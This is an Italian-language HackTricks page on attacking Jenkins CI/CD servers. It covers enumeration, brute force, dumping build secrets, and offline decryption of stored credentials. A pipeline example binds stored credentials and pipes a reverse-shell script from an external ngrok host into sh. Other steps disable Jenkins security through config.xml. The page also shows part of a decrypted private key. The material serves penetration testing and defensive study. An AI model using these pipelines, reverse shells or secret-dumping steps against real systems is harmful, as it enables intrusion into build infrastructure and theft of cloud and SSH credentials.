Jenkins Security

Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Informazioni di Base

Jenkins è uno strumento che offre un metodo diretto per stabilire un ambiente di integrazione continua o distribuzione continua (CI/CD) per quasi qualsiasi combinazione di linguaggi di programmazione e repository di codice sorgente utilizzando pipeline. Inoltre, automatizza varie attività di sviluppo di routine. Anche se Jenkins non elimina la necessità di creare script per singoli passaggi, fornisce un modo più rapido e robusto per integrare l'intera sequenza di strumenti di compilazione, test e distribuzione rispetto a quanto si possa facilmente costruire manualmente.

pageBasic Jenkins Information

Enumerazione non autenticata

Per cercare pagine interessanti di Jenkins senza autenticazione come (/people o /asynchPeople, che elenca gli utenti attuali) puoi utilizzare:

msf> use auxiliary/scanner/http/jenkins_enum

Verifica se puoi eseguire comandi senza necessità di autenticazione:

msf> use auxiliary/scanner/http/jenkins_command

Senza credenziali è possibile guardare dentro il percorso /asynchPeople/ o /securityRealm/user/admin/search/index?q= per nomi utente.

Potresti essere in grado di ottenere la versione di Jenkins dal percorso /oops o /error

Vulnerabilità Conosciute

Accesso

Nelle informazioni di base puoi controllare tutti i modi per accedere a Jenkins:

pageBasic Jenkins Information

Registrazione

Sarai in grado di trovare istanze di Jenkins che ti consentono di creare un account e accedere all'interno di esso. Semplice come quello.

Accesso SSO

Anche se la funzionalità/plugins SSO fossero presenti, dovresti tentare di accedere all'applicazione utilizzando un account di test (ad esempio, un account di test Github/Bitbucket). Trucco da qui.

Forza Bruta

Jenkins manca di politiche sulla password e di mitigazione della forza bruta per i nomi utente. È essenziale forzare gli utenti poiché potrebbero essere in uso password deboli o nomi utente come password, persino nomi utente invertiti come password.

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

Utilizza questo script python o questo script powershell.

Bypass dell'IP Whitelisting

Molte organizzazioni combinano sistemi di gestione del controllo di origine (SCM) basati su SaaS come GitHub o GitLab con una soluzione CI interna, auto-ospitata come Jenkins o TeamCity. Questa configurazione consente ai sistemi CI di ricevere eventi webhook dai fornitori di controllo di origine SaaS, principalmente per attivare lavori di pipeline.

Per ottenere ciò, le organizzazioni inseriscono in whitelist i range di IP delle piattaforme SCM, permettendo loro di accedere al sistema CI interno tramite webhook. Tuttavia, è importante notare che chiunque può creare un account su GitHub o GitLab e configurarlo per attivare un webhook, inviando potenzialmente richieste al sistema CI interno.

Controlla: shttps://www.cidersecurity.io/blog/research/how-we-abused-repository-webhooks-to-access-internal-ci-systems-at-scale/

Abusi Interni di Jenkins

In questi scenari supponiamo che tu abbia un account valido per accedere a Jenkins.

A seconda del meccanismo di Autorizzazione configurato in Jenkins e dei permessi dell'utente compromesso, potresti essere in grado o meno di eseguire gli attacchi seguenti.

Per ulteriori informazioni, controlla le informazioni di base:

pageBasic Jenkins Information

Elencazione degli utenti

Se hai accesso a Jenkins, puoi elencare gli altri utenti registrati in http://127.0.0.1:8080/asynchPeople/

Dumping delle build per trovare segreti in chiaro

Utilizza questo script per scaricare le console delle build e le variabili dell'ambiente delle build per trovare eventuali segreti in chiaro.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

Rubare le credenziali SSH

Se l'utente compromesso ha abbastanza privilegi per creare/modificare un nuovo nodo Jenkins e le credenziali SSH sono già memorizzate per accedere ad altri nodi, potrebbe rubare quelle credenziali creando/modificando un nodo e impostando un host che registrerà le credenziali senza verificare la chiave dell'host:

Di solito troverai le credenziali SSH di Jenkins in un provider globale (/credentials/), quindi puoi anche recuperarle come faresti con qualsiasi altro segreto. Ulteriori informazioni nella sezione Dumping secrets.

RCE in Jenkins

Ottenere una shell nel server Jenkins offre all'attaccante l'opportunità di rivelare tutti i segreti e le variabili d'ambiente e di sfruttare altre macchine situate nella stessa rete o addirittura di raccogliere credenziali cloud.

Per impostazione predefinita, Jenkins verrà eseguito come SYSTEM. Quindi, comprometterlo darà all'attaccante privilegi di SYSTEM.

RCE Creazione/Modifica di un progetto

Creare/Modificare un progetto è un modo per ottenere RCE sul server Jenkins:

pageJenkins RCE Creating/Modifying Project

RCE Esecuzione di uno script Groovy

È anche possibile ottenere RCE eseguendo uno script Groovy, che potrebbe essere più discreto rispetto alla creazione di un nuovo progetto:

pageJenkins RCE with Groovy Script

RCE Creazione/Modifica di un Pipeline

È possibile ottenere RCE creando/modificando un pipeline:

pageJenkins RCE Creating/Modifying Pipeline

Sfruttamento del Pipeline

Per sfruttare i pipeline è comunque necessario avere accesso a Jenkins.

Costruzione dei Pipelines

I Pipelines possono anche essere utilizzati come meccanismo di build nei progetti, in tal caso può essere configurato un file all'interno del repository che conterrà la sintassi del pipeline. Per impostazione predefinita viene utilizzato /Jenkinsfile:

È anche possibile memorizzare i file di configurazione del pipeline in altri luoghi (ad esempio in altri repository) con l'obiettivo di separare l'accesso al repository e l'accesso al pipeline.

Se un attaccante ha accesso in scrittura a quel file, sarà in grado di modificarlo e potenzialmente attivare il pipeline senza nemmeno avere accesso a Jenkins. Potrebbe essere necessario che l'attaccante debba aggirare alcune protezioni del branch (a seconda della piattaforma e dei privilegi dell'utente che potrebbero essere aggirati o meno).

I trigger più comuni per eseguire un pipeline personalizzato sono:

  • Pull request al branch principale (o potenzialmente ad altri branch)

  • Push al branch principale (o potenzialmente ad altri branch)

  • Aggiornare il branch principale e attendere fino a quando viene eseguito in qualche modo

Se sei un utente esterno non dovresti aspettarti di creare una PR al branch principale del repository di un altro utente/organizzazione e attivare il pipeline... ma se è mal configurato potresti compromettere completamente le aziende solo sfruttando questo.

Pipeline RCE

Nella sezione RCE precedente è già stata indicata una tecnica per ottenere RCE modificando un pipeline.

Verifica delle variabili d'ambiente

È possibile dichiarare variabili d'ambiente in testo normale per l'intero pipeline o per fasi specifiche. Queste variabili d'ambiente non dovrebbero contenere informazioni sensibili, ma un attaccante potrebbe sempre controllare tutte le configurazioni del pipeline/Jenkinsfiles:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Dumping secrets

Per informazioni su come i segreti vengono solitamente trattati da Jenkins, consulta le informazioni di base:

pageBasic Jenkins Information

Le credenziali possono essere limitate ai provider globali (/credentials/) o a progetti specifici (/job/<nome-progetto>/configure). Pertanto, per esfiltrare tutte le credenziali è necessario compromettere almeno tutti i progetti che contengono segreti ed eseguire pipeline personalizzate/avvelenate.

C'è un altro problema, per ottenere un segreto all'interno dell'ambiente di una pipeline è necessario conoscere il nome e il tipo del segreto. Ad esempio, se provi a caricare un segreto usernamePassword come un segreto di tipo string, otterrai questo errore:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Ecco il modo per caricare alcuni tipi comuni di segreti:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

Alla fine di questa pagina puoi trovare tutti i tipi di credenziali: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Il modo migliore per scaricare tutte le segrete in una volta sola è compromettere la macchina Jenkins (eseguendo ad esempio una shell inversa nel nodo integrato) e poi rivelare le chiavi principali e le secrete crittografate e decifrarle offline. Maggiori informazioni su come fare ciò nella sezione Nodi e Agenti e nella sezione Post Esploitation.

Trigger

Da documenti: La direttiva triggers definisce i modi automatizzati in cui il Pipeline dovrebbe essere riattivato. Per i Pipelines integrati con una fonte come GitHub o BitBucket, triggers potrebbe non essere necessario poiché l'integrazione basata su webhook probabilmente sarà già presente. I trigger attualmente disponibili sono cron, pollSCM e upstream.

Esempio di Cron:

triggers { cron('H */4 * * 1-5') }

Controlla altri esempi nella documentazione.

Nodi e Agenti

Un'istanza di Jenkins potrebbe avere diversi agenti in esecuzione su macchine diverse. Dal punto di vista di un attaccante, l'accesso a diverse macchine significa diverse credenziali cloud potenziali da rubare o diversi accessi di rete che potrebbero essere abusati per sfruttare altre macchine.

Per ulteriori informazioni, controlla le informazioni di base:

pageBasic Jenkins Information

Puoi enumerare i nodi configurati in /computer/, di solito troverai il **Nodo Incorporato ** (che è il nodo su cui è in esecuzione Jenkins) e potenzialmente altri:

È particolarmente interessante compromettere il nodo Incorporato perché contiene informazioni sensibili di Jenkins.

Per indicare che desideri eseguire il pipeline nel nodo Jenkins incorporato, puoi specificare all'interno del pipeline la seguente configurazione:

pipeline {
agent {label 'built-in'}

Esempio completo

Pipeline in un agente specifico, con un trigger cron, con variabili di ambiente di pipeline e stage, caricando 2 variabili in un passaggio e inviando una shell inversa:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Post Esploitation

Metasploit

msf> post/multi/gather/jenkins_gather

Segreti di Jenkins

È possibile elencare i segreti accedendo a /credentials/ se si dispone delle autorizzazioni necessarie. Si noti che questo elencherà solo i segreti all'interno del file credentials.xml, ma i file di configurazione della build potrebbero contenere ulteriori credenziali.

Se si può vedere la configurazione di ciascun progetto, è possibile vedere anche i nomi delle credenziali (segreti) utilizzati per accedere al repository e altre credenziali del progetto.

Da Groovy

pageJenkins Dumping Secrets from Groovy

Da disco

Questi file sono necessari per decifrare i segreti di Jenkins:

  • secrets/master.key

  • secrets/hudson.util.Secret

Tali segreti di solito si trovano in:

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

Ecco un regex per trovarli:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Decrittare i segreti di Jenkins offline

Se hai scaricato le password necessarie per decrittare i segreti, utilizza questo script per decrittare quei segreti.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Decrittare i segreti di Jenkins da Groovy

println(hudson.util.Secret.decrypt("{...}"))

Creare un nuovo utente amministratore

  1. Accedi al file config.xml di Jenkins in /var/lib/jenkins/config.xml o C:\Program Files (x86)\Jenkis\

  2. Cerca la parola <useSecurity>true</useSecurity> e cambia la parola true in false.

  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml

  4. Riavvia il server Jenkins: service jenkins restart

  5. Ora torna al portale di Jenkins e Jenkins non chiederà più alcuna credenziale questa volta. Vai su "Gestisci Jenkins" per impostare di nuovo la password dell'amministratore.

  6. Abilita nuovamente la sicurezza cambiando le impostazioni in <useSecurity>true</useSecurity> e riavvia nuovamente Jenkins.

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated